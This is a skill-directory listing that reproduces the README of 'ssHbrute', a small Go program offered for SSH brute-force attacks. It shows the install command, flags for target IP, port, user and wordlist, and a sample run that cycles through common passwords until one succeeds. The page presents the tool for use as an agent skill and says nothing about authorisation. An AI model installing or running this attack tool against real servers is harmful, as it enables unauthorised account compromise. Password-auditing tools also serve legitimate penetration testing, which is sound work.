SkillAgentSearch skills...

SsHbrute

Small golang program for ssh brute force attacks

Install / Use

/learn @0xSojalSec/SsHbrute
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

ssHbrute

This is a program written in Golang for SSH brute force attacks, needs improvements but works well and is fast.

go get github.com/0xSojalSec/ssHbrute
ssHbrute --help
Usage of ssHbrute:
  -file string
        indicate wordlist file to use (default "wordlistfile.txt")
  -ip string
        indicate the ip address to brute force (default "192.168.125.100")
  -port int
        indicate port to brute force (default 22)
  -timer duration
        set timeout to ssh dial response (ex:300ms), don't set this too low (default 200ms)
  -user string
        indicate user to brute force (default "root")
ssHbrute -user username -timer=200ms
file: wordlistfile.txt
ip: 192.168.125.100
port: 22
user: username
timer: 200ms
additional args: []
Failed: 123456 ---Failed: 12345 ---Failed: money ---Failed: password ---Failed:
mickey ---Failed: password1 ---Failed: 123456789 ---Failed: 12345678 ---Failed:
.
.
.
---Failed: randy ---Failed: reddog ---Failed: rebecca ---
+++ Pattern found: SuperSecret +++

Completed in 60.273904113 seconds
+++ FOUND +++

If the sshd is using "PasswordAuthentication no" it won't work.

View on GitHub
GitHub Stars5
CategoryDevelopment
Updated2mo ago
Forks1

Languages

Go

Security Score

70/100

Audited on Jan 22, 2026

No findings